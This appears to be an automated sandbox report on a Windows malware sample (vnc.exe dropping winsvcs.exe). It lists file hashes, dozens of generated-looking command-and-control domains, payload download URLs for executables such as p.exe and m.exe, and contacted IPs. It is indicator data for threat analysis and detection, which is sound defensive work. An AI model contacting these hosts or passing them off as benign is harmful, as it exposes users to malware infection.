C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\28KS3WHN.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	146
Entropy (8bit):	4.347597444139408
Encrypted:	false
MD5:	B4C5B11559460297852E775C64C85639
SHA1:	B2308068165F066BA25B21AC389EE47BED47C62C
SHA-256:	6CBB5F8DA1498F927365F7DEFA8CD38D6F5CEA5054275C7792D28E45A0ACC01B
SHA-512:	15BCC389B5B1603C5D7102AA138781D25703B2DD6BA0518A11052854C5A24BFB21D2E6962EFF19B21138F632F8CE9EC3F697684A7AF6E069F3C00A5A42499ED0
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\7TRD32YW.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	147
Entropy (8bit):	4.4500774323818515
Encrypted:	false
MD5:	D3493C89C008A1B214B602E6B0117DDA
SHA1:	CC00B938111E40ED9C84045310F726362B60ABE0
SHA-256:	14CF907D4595392A43E1B29413E07D26BFFA6E2FCAB9C81CA36D004F1C78C174
SHA-512:	B69F511D4443E204B19A6A0838E0C21FE96E7D4C52BF13EC3601926391ED7E57C563FF33108B502C1EE8D92B964E3F9DD491CF22102F659714289BBF029B3971
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\9XQMPDLP.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	147
Entropy (8bit):	4.405246493788029
Encrypted:	false
MD5:	00E25830A1A866FC63D93F9712162A1B
SHA1:	3E8D9F4E2972205FC8C69A2A106BF6FC8001A3BB
SHA-256:	E05FB9EA293D6D80D067217CCD10F635E6BB5917A104D9555366C5AE2B12EE04
SHA-512:	F643674B54AB705A9BFB9BDFFE669DE36382D1F503E4217E3D807D7C13D78DDF7F160C38106F1B62674DDEE472A37E8D95A0E11FD756599B4FC85EE648863B2D
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\FT9J3EIN.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	147
Entropy (8bit):	4.355861744182969
Encrypted:	false
MD5:	1DC5BDAC0141E040C187072D90D3E277
SHA1:	E7CBC75353084DFFAA6117846531CA82B9CAE588
SHA-256:	C91CB856CFAA69ADFDCA77AADA52BAA2ABF09DC3C1504C495509DECC91F73D45
SHA-512:	24C3584DAD7D8F26AEC14979F16DD13803D0C18CEB8772B0C0E65A9DE1C88A6C6CA634504726BF05B2D4BD0547D484D3A77D51BC18C376BB3AA0753EF6F3D4CB
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\I8YA7CCV.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	148
Entropy (8bit):	4.4688440360141515
Encrypted:	false
MD5:	85CB1DEEA91438FC1283F8546CE42D0A
SHA1:	FF3C84F513CFBCDE4E499D45F56E6746773E6DDB
SHA-256:	8C20EA94211A62623630AE4D7491158765E4B1D70BCAFDA6450DE80B98B5B4BB
SHA-512:	5DC2E1BCF26FD9B42B59672E8713989F2B9B2826B21AC3DC1C3D0DB52CF9BF60814C4ADD927A5CD52BDE7B5CA76C0AEF0992928B2CD39C282DB4C5C479974D33
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\IXQCB6RT.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	147
Entropy (8bit):	4.450029302073682
Encrypted:	false
MD5:	C77F0FC9EA1801603AF95AC890219F18
SHA1:	F4C38CD13A7F355EA7153561B79A16C59FFE0FAF
SHA-256:	212B683D62D66CBDD73A2423DE94F514B7CB0B76E598A50FCD03A0036A2363AE
SHA-512:	4496F103DD4F2A0EE5C624172AFFE1815F58A0A9EEEB0D09737D7EE621C881233F876BA77AA7431A8E4B8BD2EC818679583590C73347E7F95649F36B1DAE3827
Malicious:	false
Reputation:	low

C:\Windows\T-495050303005030\winsvcs.exe
Process:	C:\Users\user\Desktop\vnc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	172544
Entropy (8bit):	6.815358159405711
Encrypted:	false
MD5:	642C7AD7B1608F00BA6159250B41EF75
SHA1:	7457BAFF6C5EE8B66E588F96FA5CD818525061E5
SHA-256:	1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
SHA-512:	ED49CFC67BB9CC6C491C4FB2E34EDE2DE88A2C724BAD884831EA1D13DD78E470C632AF041EE4595AE33881EB2417AF2C166375A634DC4E324B1A33954A2B3FA9
Malicious:	true
Joe Sandbox View:	Filename: vnc.exe, Detection: malicious, Browse
Reputation:	low

C:\Windows\T940405959302020\winsvcs.exe
Process:	C:\Users\user\AppData\Local\Temp\153661691311498.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	163328
Entropy (8bit):	6.654783568272433
Encrypted:	false
MD5:	B7A9FDDD0F3B5C579FBE25C3909744C2
SHA1:	F9575991F7853E9E96848D762AAB786E6BAD1216
SHA-256:	34C771C959344E578185CD5AC94B8CA6F98A711097F3AAFDAA965857AC6E6DDF
SHA-512:	1F880FCF940CF19D9BCEED886D022D8DFE32E1635C7901E69FA29726ECECF6D29F4B8C83C94B53EED5CC232F1A6E20A429E961C4EF1430595EBB24E4C908569C
Malicious:	true
Reputation:	low

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sso.anbtr.com	195.22.28.222	true	false		high
ugoheoheufefu.info	195.22.26.248	true	true	7%, virustotal, Browse	unknown
iriototooeuwo.biz	195.22.26.248	true	true	10%, virustotal, Browse	unknown
riifndisojdoj.in	195.22.26.248	true	true	9%, virustotal, Browse	unknown
xsso.udunfjgussiid.net	195.22.26.248	true	false		unknown
ouegouehouseh.net	195.22.26.248	true	true		unknown
xsso.ugoheoheufefu.info	195.22.26.248	true	true		unknown
xsso.udunfjgussiid.com	195.22.26.248	true	false		unknown
xsso.iriototooeuwo.biz	195.22.26.248	true	true		unknown
xsso.riifndisojdoj.net	195.22.26.248	true	false		unknown
udunfjgussiid.net	195.22.26.248	true	true		unknown
iugouehoeohfh.in	208.100.26.251	true	false		high
xsso.ouegouehouseh.net	195.22.26.248	true	false		unknown
xsso.riifndisojdoj.in	195.22.26.248	true	true		unknown
udunfjgussiid.com	195.22.26.248	true	true		unknown
riifndisojdoj.net	195.22.26.248	true	true		unknown
nkihigheogojg.biz	unknown	unknown	true		unknown
iugouehoeohfh.com	unknown	unknown	true		unknown
inigbiseijfji.com	unknown	unknown	true		unknown
udunfjgussiid.in	unknown	unknown	true		unknown
ugoheoheufefu.biz	unknown	unknown	true		unknown
nkihigheogojg.in	unknown	unknown	true		unknown
ouegouehouseh.com	unknown	unknown	true		unknown
iriototooeuwo.in	unknown	unknown	true		unknown
iefigjgdidisi.biz	unknown	unknown	true		unknown
nkihigheogojg.net	unknown	unknown	true		unknown
udunfjgussiid.biz	unknown	unknown	true		unknown
riifndisojdoj.su	unknown	unknown	true		unknown
inigbiseijfji.in	unknown	unknown	true		unknown
iugouehoeohfh.biz	unknown	unknown	true		unknown
eiisisiysjsif.info	unknown	unknown	true		unknown
iefigjgdidisi.net	unknown	unknown	true		unknown
iriototooeuwo.ru	unknown	unknown	false		high
ugoheoheufefu.com	unknown	unknown	true		unknown
iriototooeuwo.info	unknown	unknown	true		unknown
iefigjgdidisi.su	unknown	unknown	true		unknown
ouegouehouseh.su	unknown	unknown	true		unknown
riifndisojdoj.com	unknown	unknown	true		unknown
iriototooeuwo.net	unknown	unknown	true		unknown
udunfjgussiid.ru	unknown	unknown	false		high
iugouehoeohfh.net	unknown	unknown	true		unknown
inigbiseijfji.net	unknown	unknown	true		unknown
nkihigheogojg.info	unknown	unknown	true		unknown
inigbiseijfji.ru	unknown	unknown	false		high
ugoheoheufefu.net	unknown	unknown	true		unknown
nkihigheogojg.com	unknown	unknown	true		unknown
iriototooeuwo.su	unknown	unknown	true		unknown
riifndisojdoj.biz	unknown	unknown	true		unknown
inigbiseijfji.biz	unknown	unknown	true		unknown
ouegouehouseh.ru	unknown	unknown	false		high
iugouehoeohfh.info	unknown	unknown	true		unknown
iefigjgdidisi.info	unknown	unknown	true		unknown
iefigjgdidisi.ru	unknown	unknown	false		high
iefigjgdidisi.com	unknown	unknown	true		unknown
ouegouehouseh.biz	unknown	unknown	true		unknown
ugoheoheufefu.su	unknown	unknown	true		unknown
iriototooeuwo.com	unknown	unknown	true		unknown
riifndisojdoj.info	unknown	unknown	true		unknown
udunfjgussiid.su	unknown	unknown	true		unknown
eiisisiysjsif.com	unknown	unknown	true		unknown
nkihigheogojg.su	unknown	unknown	true		unknown
inigbiseijfji.su	unknown	unknown	true		unknown
inigbiseijfji.info	unknown	unknown	true		unknown
iugouehoeohfh.ru	unknown	unknown	false		high
eiisisiysjsif.biz	unknown	unknown	true		unknown
eiisisiysjsif.in	unknown	unknown	true		unknown
ugoheoheufefu.ru	unknown	unknown	false		high
iefigjgdidisi.in	unknown	unknown	true		unknown
ouegouehouseh.in	unknown	unknown	true		unknown
eiisisiysjsif.su	unknown	unknown	true		unknown
udunfjgussiid.info	unknown	unknown	true		unknown
nkihigheogojg.ru	unknown	unknown	true		unknown
eiisisiysjsif.net	unknown	unknown	true		unknown
riifndisojdoj.ru	unknown	unknown	false		high
ouegouehouseh.info	unknown	unknown	true		unknown
ugoheoheufefu.in	unknown	unknown	true		unknown
eiisisiysjsif.ru	unknown	unknown	false		high
iugouehoeohfh.su	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://92.63.197.48/t.php?new=1	true	unknown
http://xsso.ouegouehouseh.net/575e0240c0d4df5892064317c147a97e	false	unknown
http://xsso.riifndisojdoj.net/2d6f5f8786b3305ca267ce6dbf60eca4	false	unknown
http://iriototooeuwo.biz/t.php?new=1	true	unknown
http://udunfjgussiid.net/t.php?new=1	false	unknown
http://xsso.udunfjgussiid.com/cbec3c80bef3cfa0da44de66ebecfeaf	false	unknown
http://92.63.197.48/p.exe	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://eiiaibegieieieif.ru/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://xaeighaoiemdnoef.ru/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iefigjgdidisi.ru/m.exeK	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://iefigjgdidisi.ru/m.exeD	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://reueininiavaeiiae.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ugoheoheufefu.ru/t.exe	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ugoheoheufefu.info/t.php?new=1%y	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	true	unknown
http://eogoehoshefheguhu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ouegouehouseh.net/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://eeoooeghgosofofjso.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://eueininiavaeiiaey.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://cicicicciicciiisu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ouegouehouseh.com/t.php?new=1/	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://eddissisifigifidio.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iefigjgdidisi.info/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://ugoheoheufefu.in/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://iugouehoeohfh.ru/s.exe	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://eeogoehoshefheguho.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ruuiooototoroidju.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://rddissisifigifidi.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://aefouageoeougaeou.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://riifndisojdoj.ru/p.exeneD	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ugoheoheufefu.info/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://rosugoshurgurhusu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://aaeiigiifhsissirgl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://rgouusrsuoonenuey.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ugoheoheufefu.ru/m.exe	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://asgsourfsuofgsgurl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iefigjgdidisi.biz/t.php?new=1	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://reoppgjrsokoedosh.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ageoaueoafugaeijel.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://agsisirfjjdissofjl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ddissisifigifidiu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://rauueieieiiighisf.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://aeogoehoshefheguhl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ddissisifigifidiy.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://rgouusrsuoonenue.ru/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iefigjgdidisi.com/t.php?new=10_	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ffkrrooooorhsorgu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://euignjsosjfhgidiy.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://gsisirfjjdissofjy.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ugoheoheufefu.biz/t.php?new=1	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ouegouehouseh.ru/m.exe	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://cicicicciicciiisy.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ouegouehouseh.ru/p.exev	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://iefigjgdidisi.ru/t.exeY	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ip-api.com/json	159753404015476.exe	false	high
http://rpppsooodlldliifi.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ugoheoheufefu.ru/s.exe	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://iefigjgdidisi.ru/t.exeR	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://iefigjgdidisi.com/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://rcnnaiisdiififiur.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://rnnvmmsiisirurutt.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://ruuiooototoroidj.ru/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iugouehoeohfh.ru/m.exe	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://nnvmmsiisirurutty.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iugouehoeohfh.info/t.php?new=1Vz	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://aeiigiifhsissirgu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://egsisirfjjdissofjo.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://inigbiseijfji.su/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://udunfjgussiid.net/t.php?new=1A	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ouegouehouseh.com/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://affkrrooooorhsorgl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://92.63.197.48/B	vnc.exe, 00000001.00000002.324344684.00020000.00000040.sdmp, winsvcs.exe, 00000002.00000002.616189323.00020000.00000040.sdmp, winsvcs.exe, 00000003.00000002.337809720.00020000.00000040.sdmp, winsvcs.exe, 00000004.00000002.337940198.00020000.00000040.sdmp	false	unknown
http://iefigjgdidisi.ru/p.exe=	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://ecnnaiisdiififiuro.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iefigjgdidisi.ru/p.exe6	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://riifndisojdoj.biz/t.php?new=1uz	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://92.63.197.48/2	winsvcs.exe, 0000000B.00000002.630894140.0061A000.00000040.sdmp	false	unknown
http://eiisisiysjsif.info/t.php?new=1	winsvcs.exe, 00000002.00000002.628452762.0F250000.00000004.sdmp	false	unknown
http://iugouehoeohfh.com/t.php?new=1	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://rrgouusrsuoonenue.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://eeueininiavaeiiaeo.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://nkihigheogojg.com/t.php?new=1	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://rnfaiiaeiinbbivii.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://aeeiieieiifigigidl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://reiiaibegieieieif.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://aeiigiifhsissirg.ru/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://cnnaiisdiififiury.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://eueininiavaeiiaeu.info/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://cicicicciicciiis.ru/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://eogoehoshefheguhy.com/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://aruuiooototoroidjl.in/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://eeeiieieiifigigido.biz/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://nkihigheogojg.info/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://reoooeghgosofofjs.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown
http://iriototooeuwo.biz/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://inigbiseijfji.com/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://iriototooeuwo.info/t.php?new=15C4	winsvcs.exe, 00000002.00000002.628452762.0F250000.00000004.sdmp	false	unknown
http://riifndisojdoj.info/	vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	true	unknown
http://iefigjgdidisi.info/t.php?new=1	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	unknown
http://sso.anbtr.com/domain/udunfjgussiid.comD	winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	false	low
http://raefouageoeougaeo.net/	153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	false	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	ASN	ASN Name	Malicious
179.74.58.79	Brazil	26615	TimCelularSABR	false
39.159.58.84	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
88.112.53.67	Finland	719	ELISA-ASHelsinkiFinlandFI	false
193.32.177.229	unknown	3333	RIPE-NCC-ASReseauxIPEuropeensNetworkCoordinationCentre	false
86.100.161.111	Lithuania	39007	BALTICUM-TV-ASLT	true
115.51.18.131	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
115.120.78.218	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
206.95.101.8	United States	3549	LVLT-3549-Level3CommunicationsIncUS	true
92.142.95.58	France	3215	AS3215FR	false
88.184.128.26	France	12322	PROXADFR	false
146.72.186.120	Norway	21297	OSE-ASSE	false
55.171.40.26	United States	1541	DNIC-ASBLK-01534-01546-HeadquartersUSAISCUS	false
101.29.155.67	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
124.144.78.121	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
153.129.22.60	Japan	4713	OCNNTTCommunicationsCorporationJP	false
148.139.10.136	United States	10753	LVLT-10753-Level3CommunicationsIncUS	true
35.252.2.177	United States	3549	LVLT-3549-Level3CommunicationsIncUS	false
93.185.138.23	Austria	39912	I3B-ASAT	false
207.154.70.131	United States	4927	IMPU-ImpulseInternetServicesUS	true
197.230.78.180	Morocco	36925	ASMediMA	false
61.213.239.41	Japan	10012	FUSIONRakutenCommunicationsCorpJP	false
196.54.145.41	South Africa	12025	IO-DATA-CENTERS-IOCapitalPrincessLLCUS	false
92.114.39.214	Romania	31102	AT-ASRO	true
173.44.55.135	United States	8100	ASN-QUADRANET-GLOBAL-QuadraNetIncUS	false
164.204.82.228	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
175.120.213.126	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
81.62.183.212	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
175.247.226.125	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	true
129.45.231.5	Burkina Faso	327931	Optimum-Telecom-AlgeriaDZ	false
151.6.107.166	Italy	1267	ASN-WINDTREIUNETIT	false
85.101.223.211	Turkey	9121	TTNETTR	false
103.48.125.104	India	9829	BSNL-NIBNationalInternetBackboneIN	false
177.20.109.186	Brazil	53239	CompanhiadeGovernanaEletrnicadoSalvadorBR	false
50.136.177.53	United States	7922	COMCAST-7922-ComcastCableCommunicationsLLCUS	true
86.126.145.37	Romania	8708	RCS-RDS73-75DrStaicoviciRO	true
124.202.144.63	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	true
146.72.125.198	Norway	21297	OSE-ASSE	false
188.153.24.218	Italy	30722	VODAFONE-IT-ASNIT	false
49.15.45.130	India	45271	ICLNET-AS-APIdeaCellularLimitedIN	true
115.181.34.18	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	true
107.176.68.236	United States	174	COGENT-174-CogentCommunicationsUS	false
47.210.18.246	United States	19108	SUDDENLINK-COMMUNICATIONS-SuddenlinkCommunicationsUS	false
162.84.43.54	United States	701	UUNET-MCICommunicationsServicesIncdbaVerizonBusi	false
130.1.109.137	United States	6908	DATAHOPDatahop-InternationalIPBackboneGB	false
